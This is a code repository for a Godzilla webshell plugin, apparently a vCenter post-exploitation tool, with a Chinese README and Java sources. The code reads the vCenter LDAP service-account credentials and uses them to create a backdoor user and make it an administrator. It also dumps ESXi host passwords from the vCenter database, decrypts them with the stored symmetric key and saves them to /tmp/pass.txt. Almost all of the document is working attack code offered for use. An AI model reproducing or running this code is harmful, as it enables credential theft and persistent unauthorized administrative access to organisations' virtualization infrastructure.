├── img ├── esxi.png └── ldap.png ├── README.md └── src └── main └── java └── shells └── plugins └── vc ├── VcenterTool.java ├── LdapManage.java ├── VcenterTool.form └── PasswordDecryptor.java /img/esxi.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LostZX/vcenter_tool/HEAD/img/esxi.png -------------------------------------------------------------------------------- /img/ldap.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LostZX/vcenter_tool/HEAD/img/ldap.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # vcenter tool 2 | 哥斯拉 vcenter后渗透插件 3 | 4 | 暂时支持支Linux,因为没windows测试环境,也没碰见过vc是windows的 5 | 6 | ## ldap添加用户 7 | 8 | 可能会出现密码强度问题,重新加一遍就行了 9 | 10 | ldap_add: Constraint violation (19) 11 | additional info: Password strength check 12 | 13 | 参考 https://github.com/3gstudent/Homework-of-Python/blob/master/vCenterLDAP_Manage.py 14 | 15 | 修复一个bug 如果密码中有反引号在webshell命令行模式下会报错 16 | 17 | ![ldap.png](img%2Fldap.png) 18 | 19 | ## esxi解密 20 | 21 | https://github.com/shmilylty/vhost_password_decrypt 22 | 23 | 24 | ![esxi.png](img%2Fesxi.png) 25 | 26 | ## saml登录 27 | 28 | 先放着,有空看下咋提取证书的 29 | 30 | https://www.horizon3.ai/compromising-vcenter-via-saml-certificates/ 31 | 32 | -------------------------------------------------------------------------------- /src/main/java/shells/plugins/vc/VcenterTool.java: -------------------------------------------------------------------------------- 1 | package shells.plugins.vc; 2 | 3 | import core.Encoding; 4 | import core.annotation.PluginAnnotation; 5 | import core.imp.Payload; 6 | import core.imp.Plugin; 7 | import core.shell.ShellEntity; 8 | import core.ui.component.RTextArea; 9 | import org.fife.ui.rtextarea.RTextScrollPane; 10 | import util.automaticBindClick; 11 | 12 | import javax.swing.*; 13 | import java.awt.event.ActionEvent; 14 | import java.util.ArrayList; 15 | 16 | @PluginAnnotation(payloadName = "JavaDynamicPayload",Name = "VcenterTool",DisplayName = "VcenterTool") 17 | public class VcenterTool implements Plugin { 18 | 19 | private Encoding encoding; 20 | private RTextArea resultTextArea; 21 | private RTextScrollPane resultTextScrollPane; 22 | 23 | private ShellEntity shellEntity; 24 | private Payload payload; 25 | private JPanel corePanel; 26 | private JButton decryptButton; 27 | private JTextField psql; 28 | private JButton addUserButton; 29 | private JButton deleteUserButton; 30 | private JButton addAdminButton; 31 | private JTextField addUserText; 32 | private JTextField addAdminText; 33 | private JTextField deleteUserText; 34 | 35 | @Override 36 | public void init(ShellEntity shellEntity) { 37 | this.shellEntity = shellEntity; 38 | this.payload = shellEntity.getPayloadModule(); 39 | this.encoding = shellEntity.getEncodingModule(); 40 | automaticBindClick.bindJButtonClick(this,this); 41 | } 42 | 43 | public ArrayList doDecrypt(String psql_path) throws Exception { 44 | PasswordDecryptor passwordDecryptor = new PasswordDecryptor(this.shellEntity,this.payload,this.encoding); 45 | return passwordDecryptor.decryptor(psql_path); 46 | } 47 | 48 | public String doAddUser(String username) throws Exception{ 49 | LdapManage ldapManage = new LdapManage(this.shellEntity,this.payload,this.encoding); 50 | return ldapManage.addUser(username); 51 | } 52 | 53 | 54 | public String doAddAdmin(String username) throws Exception{ 55 | LdapManage ldapManage = new LdapManage(this.shellEntity,this.payload,this.encoding); 56 | return ldapManage.addAdmin(username); 57 | } 58 | 59 | public void decryptButtonClick(ActionEvent actionEvent) throws Exception { 60 | String psql_path = this.psql.getText(); 61 | ArrayList passwords = doDecrypt(psql_path); 62 | this.resultTextArea.append("\n"); 63 | this.resultTextArea.append(passwords.toString()); 64 | this.resultTextArea.append("\n"); 65 | this.resultTextArea.append("save as /tmp/pass.txt"); 66 | } 67 | 68 | public void addUserButtonClick(ActionEvent actionEvent) throws Exception{ 69 | String username = this.addUserText.getText(); 70 | String result = doAddUser(username); 71 | this.resultTextArea.append("\n"); 72 | this.resultTextArea.append(result); 73 | } 74 | 75 | public void addAdminButtonClick(ActionEvent actionEvent) throws Exception{ 76 | String username = this.addAdminText.getText(); 77 | String result = doAddAdmin(username); 78 | this.resultTextArea.append("\n"); 79 | this.resultTextArea.append(result); 80 | } 81 | 82 | public void deleteUserButtonClick(ActionEvent actionEvent) throws Exception{ 83 | 84 | } 85 | 86 | 87 | 88 | @Override 89 | public JPanel getView() { 90 | return corePanel; 91 | } 92 | } 93 | -------------------------------------------------------------------------------- /src/main/java/shells/plugins/vc/LdapManage.java: -------------------------------------------------------------------------------- 1 | package shells.plugins.vc; 2 | 3 | import core.ApplicationContext; 4 | import core.Db; 5 | import core.Encoding; 6 | import core.imp.Payload; 7 | import core.shell.ShellEntity; 8 | import util.Log; 9 | 10 | import java.security.SecureRandom; 11 | import java.util.HashMap; 12 | import java.util.Random; 13 | import java.util.regex.Matcher; 14 | import java.util.regex.Pattern; 15 | 16 | public class LdapManage { 17 | private ShellEntity shellEntity; 18 | private Payload payload; 19 | private Encoding encoding; 20 | 21 | 22 | public LdapManage(ShellEntity shellEntity, Payload payload, Encoding encoding){ 23 | this.encoding = encoding; 24 | this.payload = payload; 25 | this.shellEntity = shellEntity; 26 | } 27 | private String runRealCmd(String command, boolean out){ 28 | // 直接调用this.payload.execCommand 会有参数解析错误,参考 ShellExecCommandPanel.execEasyCommand 解决 29 | 30 | String command2 = "sh -c \"{command}\" 2>&1".replace("{command}", command); 31 | if (ApplicationContext.isOpenC("isSuperLog")) { 32 | Log.log("mode : %s command : %s", Db.getSetingValue("EXEC_COMMAND_MODE"), command2); 33 | } 34 | String output = this.payload.execCommand(command2); 35 | if (out) return output; 36 | return null; 37 | } 38 | 39 | private void runRealCmd(String command){ 40 | runRealCmd(command, false); 41 | } 42 | 43 | public static String randstr(int num) { 44 | String charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~"; 45 | StringBuilder sb = new StringBuilder(num); 46 | Random random = new SecureRandom(); 47 | for (int i = 0; i < num; i++) { 48 | sb.append(charset.charAt(random.nextInt(charset.length()))); 49 | } 50 | return sb.toString(); 51 | } 52 | 53 | private HashMap getLDAPConfig(){ 54 | String result = runRealCmd("/opt/likewise/bin/lwregshell list_values '[HKEY_THIS_MACHINE\\services\\vmdir]'", true); 55 | String dcAccount = ""; 56 | String dcAccountDN = ""; 57 | String dcAccountPassword = ""; 58 | 59 | Pattern pattern1 = Pattern.compile("\"dcAccount\"(.*)"); 60 | Matcher matcher1 = pattern1.matcher(result); 61 | if (matcher1.find()) { 62 | dcAccount = matcher1.group(1).split(" ")[matcher1.group(1).split(" ").length - 1].substring(1, matcher1.group(1).split(" ")[matcher1.group(1).split(" ").length - 1].length() - 1); 63 | } 64 | 65 | Pattern pattern2 = Pattern.compile("\"dcAccountDN\"(.*)"); 66 | Matcher matcher2 = pattern2.matcher(result); 67 | if (matcher2.find()) { 68 | dcAccountDN = matcher2.group(1).split("REG_SZ")[matcher2.group(1).split("REG_SZ").length - 1].trim().substring(1, matcher2.group(1).split("REG_SZ")[matcher2.group(1).split("REG_SZ").length - 1].trim().length() - 1); 69 | } 70 | 71 | Pattern pattern3 = Pattern.compile("\"dcAccountPassword\"(.*)"); 72 | Matcher matcher3 = pattern3.matcher(result); 73 | if (matcher3.find()) { 74 | dcAccountPassword = matcher3.group(1).split(" ")[matcher3.group(1).split(" ").length - 1].substring(1, matcher3.group(1).split(" ")[matcher3.group(1).split(" ").length - 1].length() - 1).replace("\\\"", "\""); 75 | } 76 | 77 | HashMap ldapConfig = new HashMap<>(); 78 | ldapConfig.put("dcAccount", dcAccount); 79 | ldapConfig.put("dcAccountDN", dcAccountDN); 80 | ldapConfig.put("dcAccountPassword", dcAccountPassword); 81 | return ldapConfig; 82 | } 83 | 84 | public String addUser(String username){ 85 | HashMap ldapConfig = getLDAPConfig(); 86 | String dcAccount = ldapConfig.get("dcAccount"); 87 | String dcAccountDN = ldapConfig.get("dcAccountDN"); 88 | String dcAccountPassword = ldapConfig.get("dcAccountPassword"); 89 | String ldifFile = "/tmp/adduser.ldif"; 90 | String password = randstr(20); 91 | String dn = String.format("cn=%s,cn=Users,%s", username, dcAccountDN.split("Controllers,")[1]); 92 | String userPrincipalName = String.format("%s@%s.%s", username, dcAccountDN.split(",")[1].substring(3), dcAccountDN.split(",")[2].substring(3)); 93 | String ADDUSER = String.format("dn: %s\nuserPrincipalName: %s\nsAMAccountName: %s\ncn: %s\nobjectClass: top\nobjectClass: person\nobjectClass: organizationalPerson\nobjectClass: user\nuserPassword: %s\n", dn, userPrincipalName, username, username, password); 94 | 95 | this.payload.uploadFile(ldifFile, ADDUSER.getBytes()); 96 | String command = String.format("ldapadd -x -h %s -D '%s' -w '%s' -f %s", dcAccount, dcAccountDN, dcAccountPassword, ldifFile); 97 | String result = runRealCmd(command, true); 98 | String user_info = "[+] " + result +"\n" + 99 | "[+] All done." +"\n" + 100 | "[+] New user: " + username +"\n" + 101 | " Password: " + password + "\n" + 102 | "[!] Remember to add it as an admin"; 103 | this.payload.deleteFile(ldifFile); 104 | return user_info; 105 | } 106 | 107 | public String addAdmin(String username){ 108 | HashMap ldapConfig = getLDAPConfig(); 109 | String dcAccount = ldapConfig.get("dcAccount"); 110 | String dcAccountDN = ldapConfig.get("dcAccountDN"); 111 | String dcAccountPassword = ldapConfig.get("dcAccountPassword"); 112 | String ldifFile = "/tmp/addadmin.ldif"; 113 | String base = dcAccountDN.split("Controllers,")[1]; 114 | String dn = String.format("cn=%s,cn=Users,%s", username, dcAccountDN.split("Controllers,")[1]); 115 | String addAdmin = String.format("dn: cn=Administrators,cn=Builtin,%s\nchangetype: modify\nadd: member\nmember: %s\n", base, dn); 116 | this.payload.uploadFile(ldifFile, addAdmin.getBytes()); 117 | String command = String.format("ldapmodify -x -h %s -D '%s' -w '%s' -f %s", dcAccount, dcAccountDN, dcAccountPassword, ldifFile); 118 | String result = runRealCmd(command, true); 119 | String user_info = "[+] " + result +"\n" + 120 | "[+] All done."; 121 | this.payload.deleteFile(ldifFile); 122 | return user_info; 123 | } 124 | 125 | } 126 | -------------------------------------------------------------------------------- /src/main/java/shells/plugins/vc/VcenterTool.form: -------------------------------------------------------------------------------- 1 | 2 |
3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 |
132 | -------------------------------------------------------------------------------- /src/main/java/shells/plugins/vc/PasswordDecryptor.java: -------------------------------------------------------------------------------- 1 | package shells.plugins.vc; 2 | 3 | import core.ApplicationContext; 4 | import core.Db; 5 | import core.Encoding; 6 | import core.imp.Payload; 7 | import core.shell.ShellEntity; 8 | import util.Log; 9 | import util.http.ReqParameter; 10 | 11 | import javax.crypto.Cipher; 12 | import javax.crypto.spec.IvParameterSpec; 13 | import javax.crypto.spec.SecretKeySpec; 14 | import java.io.*; 15 | import java.util.ArrayList; 16 | import java.util.Base64; 17 | import java.util.Properties; 18 | 19 | public class PasswordDecryptor { 20 | 21 | private ShellEntity shellEntity; 22 | private Payload payload; 23 | private Encoding encoding; 24 | 25 | private String vcdb = "/etc/vmware-vpx/vcdb.properties"; 26 | private String key = "/etc/vmware-vpx/ssl/symkey.dat"; 27 | 28 | private void init(){ 29 | boolean isWindows = this.payload.isWindows(); 30 | if (isWindows){ 31 | System.out.println("only linux"); 32 | } 33 | } 34 | 35 | public PasswordDecryptor(ShellEntity shellEntity, Payload payload, Encoding encoding){ 36 | this.encoding = encoding; 37 | this.payload = payload; 38 | this.shellEntity = shellEntity; 39 | } 40 | 41 | private String pkcs7unpadding(String text) { 42 | int length = text.length(); 43 | int padding_length = (int) text.charAt(length - 1); 44 | return text.substring(0, length - padding_length); 45 | } 46 | 47 | private ArrayList decrypt(String key, ArrayList enc_passwords) throws Exception { 48 | ArrayList passwords = new ArrayList<>(); 49 | byte[] key_bytes = hexStringToByteArray(key); 50 | for (String[] enc_password : enc_passwords) { 51 | String ip = enc_password[0]; 52 | String usr = enc_password[1]; 53 | String enc_password_str = enc_password[2]; 54 | byte[] content = Base64.getDecoder().decode(enc_password_str); 55 | byte[] iv_bytes = new byte[16]; 56 | System.arraycopy(content, 0, iv_bytes, 0, iv_bytes.length); 57 | byte[] enc_password_bytes = new byte[content.length - iv_bytes.length]; 58 | System.arraycopy(content, iv_bytes.length, enc_password_bytes, 0, enc_password_bytes.length); 59 | Cipher cipher = Cipher.getInstance("AES/CBC/NoPadding"); 60 | SecretKeySpec keySpec = new SecretKeySpec(key_bytes, "AES"); 61 | IvParameterSpec ivSpec = new IvParameterSpec(iv_bytes); 62 | cipher.init(Cipher.DECRYPT_MODE, keySpec, ivSpec); 63 | byte[] password_bytes = cipher.doFinal(enc_password_bytes); 64 | String password = new String(password_bytes, "UTF-8"); 65 | password = pkcs7unpadding(password); 66 | String line = ip + ":" + usr + ":" + password; 67 | System.out.println(line); 68 | passwords.add(line); 69 | } 70 | return passwords; 71 | } 72 | 73 | private void save_decrypt_password(String path, ArrayList passwords) throws IOException { 74 | String data = String.join("\n", passwords); 75 | this.payload.uploadFile(path,data.getBytes()); 76 | } 77 | 78 | private ArrayList get_encrypt_password(String path) throws IOException { 79 | ArrayList encrypt_passwords = new ArrayList<>(); 80 | ReqParameter parameter = new ReqParameter(); 81 | parameter.add("fileName", this.encoding.Encoding(path)); 82 | byte[] result = this.payload.evalFunc(null, "readFile", parameter); 83 | ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(result); 84 | Reader byteReader = new InputStreamReader(byteArrayInputStream); 85 | BufferedReader reader = new BufferedReader(byteReader); 86 | String line; 87 | while ((line = reader.readLine()) != null) { 88 | try { 89 | String[] elements = line.split("\\|"); 90 | String ip = elements[0].trim(); 91 | String usr = elements[1].trim(); 92 | String pw = elements[2].trim(); 93 | String encrypt_password = pw.replace("*", "").trim(); 94 | encrypt_passwords.add(new String[]{ip, usr, encrypt_password}); 95 | } catch (IndexOutOfBoundsException e) { 96 | break; 97 | } 98 | } 99 | reader.close(); 100 | return encrypt_passwords; 101 | } 102 | 103 | private String get_password() throws IOException{ 104 | ReqParameter parameter = new ReqParameter(); 105 | parameter.add("fileName", this.encoding.Encoding(this.vcdb)); 106 | byte[] result = this.payload.evalFunc(null, "readFile", parameter); 107 | Properties properties = new Properties(); 108 | ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(result); 109 | properties.load(byteArrayInputStream); 110 | return properties.getProperty("password"); 111 | } 112 | 113 | private void runRealCmd(String command){ 114 | // 直接调用this.payload.execCommand 会有参数解析错误,参考 ShellExecCommandPanel.execEasyCommand 解决 115 | 116 | String command2 = "sh -c \"{command}\" 2>&1".replace("{command}", command); 117 | if (ApplicationContext.isOpenC("isSuperLog")) { 118 | Log.log("mode : %s command : %s", Db.getSetingValue("EXEC_COMMAND_MODE"), command2); 119 | } 120 | this.payload.execCommand(command2); 121 | } 122 | 123 | private void select_esxi_to_file(String psql_path) throws IOException { 124 | String command = psql_path + " --command 'select ip_address,user_name,password from vpx_host;' 'host=127.0.0.1 hostaddr=127.0.0.1 port=5432 user=vc password="+ get_password() +" dbname=VCDB'>/tmp/pass"; 125 | // 查询到/tmp/pass 126 | runRealCmd(command); 127 | // 处理结果,保留查询数据 128 | runRealCmd(" sed -i '/^[ ]*$/d' /tmp/pass"); 129 | runRealCmd(" sed -i '1d;2d;$d' /tmp/pass"); 130 | } 131 | 132 | private String get_key() throws IOException { 133 | ReqParameter parameter = new ReqParameter(); 134 | parameter.add("fileName", this.encoding.Encoding(this.key)); 135 | byte[] result = this.payload.evalFunc(null, "readFile", parameter); 136 | return new String(result); 137 | } 138 | 139 | private byte[] hexStringToByteArray(String s) { 140 | int len = s.length(); 141 | byte[] data = new byte[len / 2]; 142 | for (int i = 0; i < len; i += 2) { 143 | data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4) 144 | + Character.digit(s.charAt(i + 1), 16)); 145 | } 146 | return data; 147 | } 148 | 149 | public ArrayList decryptor(String psql_path) throws Exception { 150 | String key = this.get_key(); 151 | select_esxi_to_file(psql_path); 152 | ArrayList encrypt_passwords = get_encrypt_password("/tmp/pass"); 153 | ArrayList passwords = decrypt(key.trim(), encrypt_passwords); 154 | save_decrypt_password("/tmp/pass.txt", passwords); 155 | return passwords; 156 | } 157 | 158 | } 159 | --------------------------------------------------------------------------------